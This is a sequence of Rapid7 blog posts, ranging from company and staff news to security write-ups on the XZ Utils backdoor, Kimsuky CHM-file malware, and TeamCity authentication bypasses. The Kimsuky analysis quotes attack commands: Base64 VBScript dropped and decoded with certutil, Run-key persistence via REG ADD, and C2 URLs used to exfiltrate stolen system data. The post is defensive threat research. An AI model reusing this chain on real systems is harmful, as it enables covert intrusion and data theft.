Rapid7 Insight Platform Achieves Level 2 TX-Ramp Authorization

Authored by Damon Cabanillas

Rapid7's Insight Platform has officially achieved Level 2 Texas Risk and Authorization Management Program (TX-RAMP) authorization. This milestone marks a significant step forward in providing our customers peace-of-mind as well as the best end-to-end cloud security solutions.

According to the official TX-RAMP manual, Level 2 TX-RAMP authorization “is required for cloud computing services that store, process, or transmit confidential data of a state agency and the cloud computing service is determined to be moderate or high impact information resources.”

This authorization also signifies our unwavering commitment to cybersecurity compliance as well as the people, processes, and technology required to safeguard the confidential data of our customers and mitigate an ever-expanding attack surface.

Public-Sector Validation in Texas

Cloud security providers (CSPs) must keep pace with the ever-evolving variety of controls and requirements enacted at the state level, ensuring they continue to comply with statutory requirements for contracting with public-sector organizations (state agencies, higher-education institutions, etc.) in Texas – the world’s eighth largest economy.

As such, the Rapid7 Insight Platform will now be more readily available to customers across the state of Texas, empowering organizations to enhance and simplify security operations while delivering risk context across today's hybrid environments. Multiple cross-functional teams within Rapid7 helped to drive this alignment to stringent and confidential data-security requirements.

What are We Looking to Achieve?

With this authorization, public-sector customers can leverage Rapid7's Insight Platform to modernize security operations and visibility across key areas such as:

  • Vulnerability management
  • Detection and response
  • Application security
  • Cloud-native application protection

This approach to security helps cyber-defenders understand contextual risk at scale across the hybrid environment (on-premise, remote workers, cloud). They can also leverage cutting-edge AI to automate detections and the required remediations to mitigate critical vulnerabilities – saving time, money, and reputation. Achieving Level 2 TX-RAMP authorization reflects Rapid7’s continuing commitment to:

  • Aligning to regulatory and compliance standards set forth by governmental entities around the globe
  • Delivering best-in-class solutions that meet and exceed industry standards

Learn more about TX-RAMP and how Rapid7 is poised to lead the charge towards a safer, more secure digital future.

Uncategorized
Challenges Drive Career Growth: Meet Rudina Tafhasaj

Starting a career for the first time in a new country can be intimidating. For Rudina Tafhasaj, her path to Senior Application Engineer at Rapid7 was paved with both unique challenges, and incredible rewards.

Growing up, Rudina was inspired to get into technology by her older brother. “He loved computers, and he was always opening up our big PC. I was curious, and would sneak around to see what he was doing,” Rudina says. “As I grew more, I saw that advances in technology were helping improve lives in so many ways. I knew it was going to be a big part of the future, and wanted to be involved.”

But technology wasn’t her only passion at a young age.

“Deep down my dream and passion is to be an actress - which is totally different! As I grew more, what I realized was that I actually loved the creativity involved in acting, and having the opportunity to network and work with other people.” While there may not always be cameras rolling, Rudina feels there are often similarities between her love of acting and her role today. “I can be creative in code, I can role play different scenarios, and this career is a way for me to tap into both of my passions. I am able to work on really impactful technology in a way that allows me to be creative while also partnering with all kinds of different people and teams along the way.”

At the very beginning of her career, Rudina faced a unique challenge that included relocating from her home in Albania to a new city in the Czech Republic. “It wasn’t easy moving to Prague. I had a tough time adjusting because I had never traveled, never lived on my own, and never had a professional job - and here I was tackling all three at once!” As the only daughter in a family with three brothers, she notes how she had to advocate for herself with her family in making such a big life change. While working as a Junior Developer, she had to work hard to overcome challenges and make an impact in her work.

“At my first job, as I was navigating all of this change, I got a really critical piece of feedback from my manager. I wasn’t developing my skills as much as he expected to see. I was in danger of losing my job if I didn’t make some dramatic improvements.”

This hard conversation served as a wakeup call for Rudina, and ignited her commitment to invest in learning and strengthening her skills so she could achieve her goals. While the feedback was hard to hear, Rudina notes that her manager continued to be supportive of her growth and wanted to help her succeed. “For 6 months, I woke up, went to work, came home, ate dinner, and then studied until it was time for bed. After doing that on repeat, my manager was able to see a dramatic improvement in the rate in which I was learning and growing. While there was still more to learn, he was impressed with my dedication and I continued to grow in my role.”

Rudina’s hard work paid off, and two years later, she took her career a step further with a position as a Salesforce Developer at Barclays. “I am so grateful to have had a manager that was able to give me the feedback I needed, while also encouraging me to stick with it and offer support along the way.”

Now a Senior Software Engineer at Rapid7, she reflects on her journey with a strong sense of pride and accomplishment. “Whatever challenges I went through in previous employers has made me the best person for Rapid7, and I’m grateful for all of my past experiences.” Overcoming challenges can sometimes feel uncomfortable, but it is often necessary to grow and move our careers forward. “It’s a continuous cycle too, as you grow and get more experience, you continue to set your goals higher and seek out the next challenge. There is always more to learn and more ways to grow in your career, especially in technology.”

Her appetite for continued growth is what ultimately brought her to Rapid7’s newest office in Prague in 2023. “I felt like I was ready for new challenges that would continue to accelerate my growth.” When looking at where to go next, she had three requirements that she was looking for in her next employer.

  1. A clear development plan with support from her manager
  2. A culture rooted in honesty and trust
  3. Competitive and fair compensation for her work. Growing her earning potential alongside the growth of her career as she continued to advance.

“When interviewing for the role at Rapid7, I found evidence of everything on my list, and so much more as well. What really stands out the most is the trust and responsibility given to me by the business analysts or project managers that I partner with. They will share what they are looking to do, and then give me the responsibility and the autonomy to go ahead and find a way to make it happen - even when I’m brand new. It feels good to be given that trust and to be able to work on business critical initiatives where my ideas are respected and valued.”

When asked what advice she would give others looking to take on a new role, she says to note down what your expectations and goals are. “Use the interview time to ask whatever questions you need to help understand if it’s the right move for you, or not.” Rudina says having things defined before the call helps you stay on track and get the most value as you weigh your options. “I had a lot of questions during my interview - but because I was able to get answers, I walked away with a really confident feeling that the role at Rapid7 was going to be just what I was looking for.”

For Rudina, growth and development was essential in her next role. As someone who embraces new challenges, and represents Rapid7’s core values every day through her actions and work, it didn’t take long for her to be offered yet another opportunity. Within her first three months, she was given the chance to serve as a team lead. She looks forward to continuing to make an impact in her work, grow her career, and support others through her participation in the Rapid7 Women Impact Group.

To learn more about career opportunities and what it’s like to work at Rapid7, visit our careers site.

Backdoored XZ Utils (CVE-2024-3094)

On Friday, March 29, after investigating anomalous behavior in his Debian sid environment, developer Andres Freund contacted an open-source security mailing list to share that he had discovered an upstream backdoor in widely used command line tool XZ Utils (liblzma). The backdoor, added by an open-source committer who had been working on the tool for several years, affects XZ Utils versions 5.6.0 and 5.6.1. It has been assigned CVE-2024-3094.

According to Red Hat’s advisory

“The malicious injection present in the xz versions 5.6.0 and 5.6.1 libraries is obfuscated and only included in full in the download package - the Git distribution lacks the M4 macro that triggers the build of the malicious code. The second-stage artifacts are present in the Git repository for the injection during the build time, in case the malicious M4 macro is present.

The resulting malicious build interferes with authentication in sshd via systemd.  SSH is a commonly used protocol for connecting remotely to systems, and sshd is the service that allows access.  Under the right circumstances this interference could potentially enable a malicious actor to break sshd authentication and gain unauthorized access to the entire system remotely.”

Community analysis of the backdoor is ongoing. Fortunately, thanks to Freund’s discovery, the backdoored version of the utility did not affect stable branches of most major Linux distributions and is unlikely to have made it into any production systems. The most at-risk category of users is likely developers, many of whom tend to run bleeding-edge versions of Linux.

Mitigation Guidance

XZ Utils users should downgrade to an older version of the utility immediately (i.e., any version before 5.6.0) and update their installations and packages according to distribution maintainer directions.

Major Linux distributions and package maintainers have published guidance on updating. Below is a list of affected and unaffected distributions — please refer to individual distribution and package advisories for the latest information and remediation guidance.

Affected distributions (as of March 31)

Debian

Unstable / sid only — “versions ranging from 5.5.1alpha-0.1 (uploaded on 2024-02-01), up to and including 5.6.1-1.”

Kali Linux

Systems updated between March 26 and March 29, 2024

OpenSUSE

Tumbleweed and MicroOS rolling releases between March 7 and March 28, 2024

Arch Linux

  • Installation medium 2024.03.01
  • Virtual machine images 20240301.218094 and 20240315.221711
  • Container images created between and including 2024-02-24 and 2024-03-28

Red Hat

Fedora Rawhide and Fedora 40 Linux beta


The following distributions have indicated they are not affected:

Please note that information on affected versions or requirements for exploitability may change as we learn more about the threat.

Rapid7 Customers

Our vulnerability coverage team is currently investigating the breadth of affected distributions and looks to provide InsightVM and Nexpose coverage for supported distributions within the next 48 hours.

Why The External Attack Surface Matters: An analysis into APAC related threat activities

Considerable focus within the cybersecurity industry has been placed on the attack surface of organizations, giving rise to external attack surface management (EASM) technologies as a means to monitor said surface. It would appear a reasonable approach, on the premise that a reduction in exposed risk related to the external attack surface reduces the likelihood of compromise and potential disruption from the myriad of ransomware groups targeting specific geographies and sectors.

But things are never quite that simple. The challenge, of course, is that the exposed external risks extend beyond the endpoints being scanned. With access brokers performing the hard yards for ransomware affiliates gathering information, identifying initial entry vectors is more than a simple grab of banners.

Rapid7 Labs’s recent analysis looked at the external access surface of multiple sectors within the APAC region over the last half of 2023, with considerable data available well beyond open RDP and unpatched systems. What is revealing is the scale of data that appears to be aiding the access brokers, such as the exposure of test systems or unmaintained hosts to the internet, or the availability of leaked credentials. Each of these gives the multitude of ransomware actors the opportunity to conduct successful attacks while leveraging the hard work of access brokers.

What is interesting as we consider these regionally-targeted campaigns is that the breadth of threat groups is rather wide, but the group which is most prevalent does vary based on the targeted geography or sector. (Please note that this data predates the possible exit scam reported and therefore does not take it into account.)

The following graphic shows the sectors targeted, and the various threat groups targeting them, within Australia:

Why The External Attack Surface Matters: An analysis into APAC related threat activities

If we compare the most prevalent groups in Japan, however, the landscape does change somewhat:

Why The External Attack Surface Matters: An analysis into APAC related threat activities

All of which does focus the mind on this concept of actionable intelligence. Typically organizations have taken a one-size-fits-all approach to risk prioritization; however, a more nuanced approach could be to consider the threat groups targeting the given sector of an organization as a higher priority.

The need to move into this new world of intelligence led security operations is very clear, and it’s felt on an almost daily basis. Within a year we have witnessed such a fundamental increase in the level of capabilities from threat groups whose previous modus operandi was entrenched in the identification of leaked credentials, yet will now happily burn 0days with impunity.

Our approach within Rapid7 Labs is to provide context wherever possible. We strongly urge readers to leverage resources such as AttackerKB to better understand the context of these CVEs, or the likes of Metasploit to validate whether the reports from their external scan warrant an out-of-cycle security update. These, of course, are just the tip of the iceberg, but our approach remains constant: context is critical, as is agility. We are faced with more noise than ever before, and any measures that can be used to filter this out should be a critical part of security operations.

The Updated APT Playbook: Tales from the Kimsuky threat actor group

Co-authors are Christiaan Beek and Raj Samani

Within Rapid7 Labs we continually track and monitor threat groups. This is one of our key areas of focus as we work to ensure that our ability to protect customers remains constant. As part of this process, we routinely identify evolving tactics from threat groups in what is an unceasing game of cat and mouse.

Our team recently ran across some interesting activity that we believe is the work of the Kimsuky threat actor group, also known as Black Banshee or Thallium. Originating from North Korea and active since at least 2012, Kimsuky focuses primarily on intelligence gathering. The group is known to have targeted South Korean government entities, individuals associated with the Korean peninsula's unification process, and global experts in various fields relevant to the regime's interests. In recent years, Kimsuky’s activity has also expanded across the APAC region to impact Japan, Vietnam, Thailand, etc.

Through our research, we saw an updated playbook that underscores Kimsuky’s efforts to bypass modern security measures. Their evolution in tactics, techniques, and procedures (TTPs) underscores the dynamic nature of cyber espionage and the continuous arms race between threat actors and defenders.

In this blog we will detail new techniques that we have observed used by this actor group over the recent months. We believe that sharing these evolving techniques gives defenders the latest insights into measures required to protect their assets.

Anatomy of the Attack

Let’s begin by highlighting where we started our analysis of Kimsuky and how the more we investigated, the more we discovered — to the point where we believe we observed a new wave of attacks by this actor.

Following the identification of the target, typically we would anticipate the reconnaissance phase to initiate in an effort to identify methods to allow access into the target. Since Kimsuky’s focus is intelligence gathering, gaining access needs to remain undetected; subsequently, the intrusion is intended to not trigger alerts.

Over the years, we have observed a change in this group’s methods, starting with weaponized Office documents, ISO files, and beginning last year, the abuse of shortcut files (LNK files). By disguising these =LNK files as benign documents or files, attackers trick users into executing them. PowerShell commands, or even full binaries, are hidden in the LNK files — all hidden for the end-user who doesn’t detect this at the surface.

Our latest findings lead us to observations that we believe are Kimsuky using CHM files which are delivered in several ways, as part of an ISO|VHD|ZIP or RAR file. The reason they would use this approach is that such containers have the ability to pass the first line of defense and then the CHM file will be executed.

CHM files, or Compiled HTML Help files, are a proprietary format for online help files developed by Microsoft. They contain a collection of HTML pages and a table of contents, index, and full text search capability. Essentially, CHM files are used to display help documentation in a structured, navigable format. They are compiled using the Microsoft HTML Help Workshop and can include text, images, and hyperlinks, similar to web pages, but are packaged as a single compressed file with a .chm extension.

While originally designed for help documentation, CHM files have also been exploited for malicious purposes, such as distributing malware, because they can execute JavaScript when opened. CHM files are a small archive that can be extracted with unzipping tools to extract the content of the CHM file for analysis.

The first scenario in our analysis can be visualized as follows:

The Updated APT Playbook: Tales from the Kimsuky threat actor group

The Nuclear Lure

While tracking activity, we first discovered a CHM file that triggered our attention.

Hash Value
MD5 364d4fdf430477222fe854b3cd5b6d40
SHA1 b5224224fdbabdea53a91a96e9f816c6f9a8708c
SHA256 c62677543eeb50e0def44fc75009a7748cdbedd0a3ccf62f50d7f219f6a5aa05

Analyzing this file in a controlled environment, we observe that the CHM file contains the following files and structure:

The Updated APT Playbook: Tales from the Kimsuky threat actor group

The language of the filenames is Korean. With the help of translation software, here are the file names:

  • North Korea's nuclear strategy revealed in 'Legalization of Nuclear Forces'.html
  • Incomplete.html
  • Factors and types of North Korea’s use of nuclear weapons.html
  • North Korean nuclear crisis escalation model and determinants of nuclear use.html
  • Introduction.html
  • Previous research review.html
  • Research background and purpose.html

These HTML files are linked towards the main HTML file ‘home.html’ — we will return later to this file.

Each filetype has its unique characteristics, and from the area of file forensics let’s have a look at the header of the file:

The Updated APT Playbook: Tales from the Kimsuky threat actor group
Value Value Comment
0x49545346 ITSF File header ID for CHM files
0x03 3 Version Number
--- --- ---
skip
--- --- ---
0x1204 0412 Windows Language ID
--- --- ---

The value 0412 as a language ID is “Korean - Korea”. This can be translated to mean the Windows operating system that was used to create this CHM file was using the Korean language.

When the CHM file is executed, it will showcase the following:

The Updated APT Playbook: Tales from the Kimsuky threat actor group

The page in the right pane is the ‘home.html’ file. This page contains an interesting piece of code:

The Updated APT Playbook: Tales from the Kimsuky threat actor group
The Updated APT Playbook: Tales from the Kimsuky threat actor group

The provided code snippet is an example of using HTML and ActiveX to execute arbitrary commands on a Windows machine, typically for malicious purposes. The value assigned to a ‘Button’ contains a command line with Base64 code in it as another obfuscation technique and is followed by a living-off-the-land technique, thereby creating persistence on the victim’s system to run the content.

Let’s break it up and understand what the actor is doing:

  1. Base64 Encoded VBScript Execution (T1059.003):
  • echo T24gRXJyb3IgUmVzdW1lIE5leHQ...: This part echoes a Base64-encoded string into a file. The string, when decoded, is VBScript code. The VBScript is designed to be executed on the victim's machine. The decoded Base64 value is:
The Updated APT Playbook: Tales from the Kimsuky threat actor group

2. Saving to a .dat File:

  • >"%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.dat": The echoed Base64 string is redirected and saved into a .dat file within the current user's Links directory. The filename seems randomly generated or obfuscated to avoid easy detection.

3. Decoding the .dat File:

  • start /MIN certutil -decode "%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.dat" "%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.vbs": This uses the certutil utility, a legitimate Windows tool, to decode the Base64-encoded .dat file back into a .vbs (VBScript) file. The /MIN flag starts the process minimized to reduce suspicion.

4. Persistence via Registry Modification (T1547.001)

  • :start /MIN REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Document /t REG_SZ /d "%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.vbs" /f: This adds a new entry to the Windows Registry under the Run key for the current user (HKCU stands for HKEY_CURRENT_USER). This registry path is used by Windows to determine which programs should run automatically at startup. The command ensures that the decoded VBScript runs every time the user logs in, achieving persistence on the infected system.

But what is downloaded from the URL, decoded and written to that VBS file? The URL of the Command and Control Server is hosting an HTML page that contains VBS code:

The Updated APT Playbook: Tales from the Kimsuky threat actor group

Analyzing the code, it does several things on the victim’s machine:

The Updated APT Playbook: Tales from the Kimsuky threat actor group

The function ‘SyInf()’ collects basic system information using WMI (Windows Management Instrumentation) and constructs a string with all these details. What is gathered:

  • Computer name, owner, manufacturer, model, system type.
  • Operating system details, version, build number, total visible memory.
  • Processor details, including caption and clock speed.

Other functions in the code collect the running processes on the system, recent Word files, and lists directories and files of specific folders. In our case, the actor was interested in the content of the Downloads folder.

After gathering the requested information from the code, it is all encoded in the Base64 format, stored in the file ‘info.txt’ and exfiltrated to the remote server:

ui = "00701111.000webhostapp.com/wp-extra"

Once the information is sent, the C2 responds with the following message:

The Updated APT Playbook: Tales from the Kimsuky threat actor group

This C2 server is still active and while we have seen activity since September 2023, we also observed activity in 2024.

New Campaign Discovered

Pivoting some of the unique strings in the ‘stealer code’ and hunting for more CHM files, we discovered more files — some also going back to H2 2023, but also 2024 hits.

In VirusTotal we discovered the following file:

Hash Value
MD5 71db2ae9c36403cec1fd38864d64f239
SHA1 5c7b2705155023e6e438399d895d30bf924e0547
SHA256 e8000ddfddbe120b5f2fb3677abbad901615d1abd01a0de204fade5d2dd5ad0d
------------- -------------------

The file is a VBS script and it contains similar code to what we described earlier on the information gathering script above. Many components are the same, with small differences in what type of data is being gathered.

The biggest difference, which makes sense, is a different C2 server. Below is the full path of when the VBS script ran and concatenated the path:

hxxp://gosiweb.gosiclass[.]com/m/gnu/convert/html/com/list.php?query=6

The modus operandi and reusing of code and tools are showing that the threat actor is actively using and refining/reshaping its techniques and tactics to gather intelligence from victims.

Still More? Yes, Another Approach Discovered

Using the characteristics of the earlier discovered CHM files, we developed internal Yara rules that were hunting, from which we discovered the following CHM file:

Hash Value
MD5 f35b05779e9538cec363ca37ab38e287
SHA1 d4fa57f9c9e35222a8cacddc79055c1d76907fb9
SHA256 da79eea1198a1a10e2ffd50fd949521632d8f252fb1aadb57a45218482b9fd89
---- ---

In this particular case, multiple .bat files and VBS scripts are present:

The Updated APT Playbook: Tales from the Kimsuky threat actor group

In similar fashion, an HTML file in the directory contains hidden code:

The Updated APT Playbook: Tales from the Kimsuky threat actor group

style="visibility:hidden;"><param name="Command" value="ShortCut"><param name="Button" value="Bitmap:shortcut"><param name="Item1" value=",hh,-decompile C:\\Users\\Public\\Libraries '+d+'

The background png file shows (translated) the following information:

The Updated APT Playbook: Tales from the Kimsuky threat actor group

Once the CHM file is executed, it drops all files in the C:\\Users\\Public\\Libraries\ directory and starts running. It starts with creating a persistence scheduled task with the “\2034923.bat” file:

The Updated APT Playbook: Tales from the Kimsuky threat actor group

The VBS script will create a Service and then the other .bat files are executed, each with different functions.

The “9583423.bat” script will gather information from the system and store them in text files:

The Updated APT Playbook: Tales from the Kimsuky threat actor group

In the above code, when information is gathered, the file is called by the ‘1295049.bat’ script, which contains the Powershell code to setup the connection to the C2 server with the right path, Base64 encode the stream, and transfer:

The Updated APT Playbook: Tales from the Kimsuky threat actor group

Combining the code from previous .bat file and this code, the path to the C2 is created:

hxxps://niscarea[.]com/in.php?cn=[base64]&fn=[DateTime]

The gathered files containing the information about the system will be Base64 encoded, zipped and sent to the C2. After sending, the files are deleted from the local system.

The Updated APT Playbook: Tales from the Kimsuky threat actor group

The sys.txt file will contain information about the system of the victim such as OS, CPU architecture, etc. Here is a short example of the content:

The Updated APT Playbook: Tales from the Kimsuky threat actor group

The overall flow of this attack can be simplified in this visualization:

The Updated APT Playbook: Tales from the Kimsuky threat actor group

Attack Prevalence

Since this is an active campaign, tracking prevalence is based at the time of this writing. However, Rapid7 Labs telemetry enables us to confirm that we have identified targeted attacks against entities based in South Korea. Moreover, as we apply our approach to determine attribution such as the overlap in code and tactics, we have attributed this campaign with a moderate confidence* to the Kimsuky group.

All IoCs are available freely within our Rapid7 Labs repository here.

Rapid7 Customers

InsightIDR and Managed Detection and Response (MDR) customers have existing detection coverage through Rapid7's expansive library of detection rules. Rapid7 recommends installing the Insight Agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage. Below is a non-exhaustive list of detections deployed and alerting on activity related to these techniques and research:

Persistence - Run Key Added by Reg.exe

Suspicious Process - HH.exe Spawns Child Process

Suspicious Process - CHM File Runs CMD.exe to Run Certutil

Persistence - vbs Script Added to Registry Run Key

*In threat research terms, “moderate confidence” means that we have a significant amount of evidence that the activity we are observing is similar to what we have observed from a specific group or actor in the past; however, there is always a chance someone is mimicking behavior. Hence, we use “moderate” instead of “high” confidence.

Rapid7’s Ciara Cullinan Recognized as Community Trailblazer in Belfast Awards Program

At the 2024 Women Who Code She Rocks Awards, Rapid7 Software Engineer II Ciara Cullinan was recognized with their ‘Community Trailblazer’ award.

According to Women Who Code, “This award celebrates the efforts of someone who brings people together and creates genuine connections in our tech community. Whether this is online or in-person, this person demonstrates exceptional commitment to building a thriving and inclusive community.

When it comes to building community, Ciara is a true champion who is consistently looking for ways to establish and grow meaningful connections among her team, across the organization, and in the local tech industry. Whether it’s encouraging engagement in various slack channels with ‘water cooler’ questions and ice breakers, or driving Rapid7’s sponsorship of Women Techmakers, she’s proactively seeking out ways to bring people together while growing her own network in the process.

“I think a lot of times - and especially for women - we focus on perfection in our work. We can be hesitant to share things until we have it 100% figured out ourselves. However, when we are able to build strong personal connections with our colleagues, or even others in the industry, the bravery to put something forward or ask for feedback comes much easier. That connection opens up the door to have honest conversations, share ideas, and provide feedback. This is where we can work together to drive impact and grow our skills, which lead to rewarding career experiences and growth.”

In addition to her role as an engineer, Ciara is an active member of Rapid7 Women. Rapid7 Women is an employee resource group that aims to support, enable, and empower all employees identifying as women to bring their best, true selves to work every day through community, action, and activism. Ciara actively contributes to this mission by helping build global and local initiatives for the group. As mentioned in her nomination submission, “Ciara collaborates with colleagues from around the globe, in different business units and roles to build a Women program that caters to supporting not only Women identifying individuals, but also seeks to educate allies on how to be a culture contributor exhibiting inclusive leadership traits.”

Ciara also highlights the importance of bringing more women into the tech industry, and how organizations like Women Who Code can make a difference. “In my role I am one of two women on the team. As technology continues to evolve and things like Artificial Intelligence become part of our everyday life, it’s important to get more women involved in the field to combat any implicit bias in the things that are being built. Bringing more diverse perspectives into a team can also help drive innovation and help organizations work through challenges more efficiently. Awards and programs like this help showcase what’s possible for the next generation of women, allowing them see and then realize the potential a career in tech could hold for them.”

To learn more about Women Who Code’s Belfast community, visit their website.

To learn more about Rapid7’s culture, and our Rapid Impact Groups, visit our careers page.

7 Rapid Questions with #77 Ray Bourque

We couldn’t pass up the opportunity to bring Boston Bruins legend Ray Bourque into the herd as we continue to expand our Bruins jersey sponsorship.

Ray is an absolute hero to Bruins fans everywhere. He has cemented his status in the annals of Boston sports history through 21 seasons in the black and gold and completely reinvented the game. He holds NHL records for goals, assists, and more for a defenseman. Ray’s relentless offense and tireless defense helped the Bruins command the attack surface. To top it off, he’s worn numbers 7 and 77, making this partnership feel like kismet.

In the spirit of our shared numeric connection, we’ve asked Ray to answer seven rapid questions about his time on the ice, his work off the ice, and his partnership with Rapid7.

What is your favorite memory of your days on the ice for the Bruins? (Maybe your top 3?)

Playing in Boston for 21 years, it’s hard to narrow it down to just one. There are a few moments from my time playing in Boston that really stand out. One of those being my first game. That was the most surreal feeling, realizing that I had made it to the NHL, which had been a dream of mine for as long as I can remember.

Another night that stands out is the night the Bruin’s surprised Phil Esposito with the retirement of his #7 jersey and we revealed my new number, 77. That was such a special moment.

An evening I will hold on to forever is the closing of The Garden. So many amazing alumni came out onto the ice after the game and took their last skate on The Garden ice. The last player they announced was Normand Leveille, who had suffered a brain aneurysm that ended his career. His dream was to skate one more time. Normand and I had a special relationship, as he did not speak English when coming to Boston. We would be roommates, sit next to each other at dinner, he would order the same meals as me because he couldn’t understand the menu. Being able to take him on his final skate around The Garden ice was one of my favorite moments as a Boston Bruin.

It's the Bruins Centennial Year. What does 100 years of hockey history in Boston mean to you?

Anyone who has had the opportunity to play for one of the Original 6 teams understands how much of an impact that history and energy has on a team. Making it 100 years is an incredible feat, and having such an incredible city support a team for that long is impressive. It speaks so much to the dedication of the fans, ownership, management, and the culture built around the Boston Bruins. I am grateful for the opportunity to have played for an Original 6 team for 21 years of my career and be a part of such a unique and inspiring culture for so much of my career.

How important is the work the Bruins are doing in the community to engage youth from all backgrounds to grow the sport of hockey?

The NHL as a whole has done a great job at working on inclusivity, and this initiative wouldn’t be possible without the support of each team and their supporters who expand upon these efforts like Rapid7. So many people from so many different backgrounds have flourished in the sport and it is becoming something that is available to everyone. Having new teams and expanding the game has opened hockey to so many new regions. That has allowed kids to grow up with hockey in their community and give them the opportunity to dream of playing in the NHL.

Doors are wide open for anyone that wants to get involved and enjoy the game of hockey, at any level, and I think that is so important because there is so much to learn and take away from the sport at all levels.

It's probably hard for you to imagine, but just go with us for a minute here: If professional hockey had never worked out, what sort of career would you have liked to have?

I don’t know what I would do, you’re right, it’s hard to imagine. I never thought about doing anything else. At 13 years old, I started separating myself from my teammates. I found another gear in my development that allowed me to advance my skills, and at 15 years old I started playing up, joining a Junior’s team of 16-20 year old’s. That is when it became realistic to me that I could make it to the NHL.

If I wasn’t a professional hockey player, I think I would still be involved in sports in some way. Sports were a huge part of my youth, playing hockey and baseball, and I would want to have the same impact on young athletes that my coaches and trainers had on me. I am not sure where that would have taken me, but it is something I am passionate about and would have enjoyed spending my time on.

As a legend in the sport, you've had your pick of organizations to align yourself with. What about Rapid7 speaks to you?

From the beginning of our conversations, Rapid7 has come across with a great energy that stuck out to me. It is clear that this team is pulling in the same direction, and it just feels like a team you want to be on and a part of. Their positive and inclusive culture makes it an environment you are excited to be a part of. On top of that, what they are doing is so important to today’s world and their work can truly make a difference.

What are the most important aspects of the Bourque Family Foundation you would like people to understand? How can they get involved?

Giving back is something that has been a significant part of my family since we moved to Boston when I was 18. The Boston Bruins are an extremely charitable team, and as a young player I quickly became involved in the community through the charitable efforts we did as a team.

Raising our family, my wife and I instilled the same values in our children, and all of us have played our own part in giving back to our community. The Bourque Family Foundation is a way for us to come together and combine our charitable efforts. My family and I are truly passionate about the work we do, from supporting individuals with spinal cord injuries to having an ongoing initiative to support the fight against ALS. We are able to touch so many different parts of our community and so many causes. Being able to bring our grandchildren into this as well is just a very special feeling, and I look forward to seeing the continued impact we can all make together with the amount of passion and love for this work that exists in my family.

We have 3 core events that are a great way to get involved; the 7.7K Road Race, Bourque Golf, and The Captain’s Ball in honor of Pete Frates. On top of that, there are some 3rd party initiatives as well that we are a part of that allow our community to raise funds. If you’re getting involved with any of the Bourque Family Foundation events, we can promise you’ll have fun and we’ll raise good money while doing it.

As the sport of hockey continues to spread further around North America and the world, any advice for those talented youngsters who dream of taking up the sport and making it to the NHL someday?

The most important thing I can say is work hard and have fun. Believe in yourself and in your dream. Being dedicated in terms of your work ethic and preparation will get you far and so will doing so with open eyes and open ears. There is so much value to be learned by everything that is happening around you. Hockey is a great game to be a part of, regardless of where it takes you. You can learn a lot of lessons about teamwork, leadership, work ethic, and everything that comes with being a part of a team. Approaching the game being willing to work hard, learn, and dedication will get you far, no matter where you end up.

And there you have it, NHL great and Boston sports legend Ray Bourque answering seven rapid questions from Rapid7. If you’d like, you can also learn more about how Ray and Rapid7 are working together to support hockey and continue icing out cyber threats everywhere.

Lessons from video game companies: automation unleashes robust monitoring & observability

Video game organizations need robust monitoring and observability solutions to stay one step ahead of cyber adversaries. Chances are, so do we all.

In this blog post, we’ll delve into how monitoring and observability capabilities enable video game organizations to bolster their cybersecurity defenses – and provide a better, more reliable gaming experience. Before we delve into the specific use case, let's establish a foundation with a few definitions.

Monitoring involves actively tracking and analyzing events within an environment to identify potential security threats around the game and the player. Observability, on the other hand, goes beyond monitoring. It provides a holistic view of the entire system's behavior, enabling video game organizations to understand and troubleshoot complex issues effectively. Together, robust monitoring and observability create a proactive cybersecurity stance that lets teams stop threats from escalating.

Automated Threat Detection: Automation with AI empowers Video game organizations to automate the detection of threats based on ML-predefined rules and behavioral analytics. This proactive approach ensures that potential security incidents are identified promptly, reducing the dwell time of threats within the network.

Real-time Response: Event-driving harvesting accelerates response with predefined actions in real-time. This includes isolating compromised endpoints, blocking malicious IP addresses, or executing custom response actions tailored to the organization's security policies. The result is a swift and efficient containment of security incidents.

Adaptive Alerting: In addition to traditional alerting, automation can dynamically adjust alert thresholds and criteria based on historical data. This means that security teams can receive alerts for anomalous activities without being overwhelmed by false positives. This not only saves time and resources but also ensures that critical threats are not missed.

Contextual Enrichment: To enhance observability, Layered Context provides a holistic view of the most critical resources found in all environments; it is an enrichment of security alerts with contextual information. This includes user and asset details, historical behavior, and threat intelligence feeds. The enriched data provides security analysts with a comprehensive understanding of the security incident, enabling more informed and effective decision-making.

Customizable Process Workflows: Process-automated workflow capabilities are highly customisable, allowing video game organizations to create tailored workflows that align with their unique security requirements. This flexibility ensures that automation is not a one-size-fits-all solution but a dynamic tool that adapts to the specific needs of each organization.

In theory, this means you are adding protection and improving preventive measures while getting better at detecting threats that slip past our defenses. In reality, it means the security team has more and more tools for learning, configuring, monitoring and using.

In a digital landscape where cyber threats are becoming more sophisticated and prevalent, video game organizations must leverage advanced solutions that provide robust monitoring and observability. Rapid7, with its powerful automation features, is at the forefront of this cybersecurity evolution. Automating threat detection, incident response, alerting, contextual enrichment, and workflows empowers Video game organizations to enhance their cybersecurity defenses and respond effectively to the ever-changing threat landscape.

Overview

CVE-2024-27198 and CVE-2024-27199: JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities (FIXED)

In February 2024, Rapid7’s vulnerability research team identified two new vulnerabilities affecting JetBrains TeamCity CI/CD server:

  • CVE-2024-27198 is an authentication bypass vulnerability in the web component of TeamCity that arises from an alternative path issue (CWE-288) and has a CVSS base score of 9.8 (Critical).
  • CVE-2024-27199 is an authentication bypass vulnerability in the web component of TeamCity that arises from a path traversal issue (CWE-22) and has a CVSS base score of 7.3 (High).

On March 3, JetBrains released a fixed version of TeamCity without notifying Rapid7 that fixes had been implemented and were generally available. When Rapid7 contacted JetBrains about their uncoordinated vulnerability disclosure, JetBrains published an advisory on the vulnerabilities without responding to Rapid7 on the disclosure timeline. JetBrains later responded to indicate that CVEs had been published.

These issues were discovered by Stephen Fewer, Principal Security Researcher at Rapid7, and are being disclosed in accordance with Rapid7's vulnerability disclosure policy.

Impact

Both vulnerabilities are authentication bypass vulnerabilities, the most severe of which, CVE-2024-27198, allows for a complete compromise of a vulnerable TeamCity server by a remote unauthenticated attacker, including unauthenticated RCE, as demonstrated via our exploit:
CVE-2024-27198 and CVE-2024-27199: JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities (FIXED)

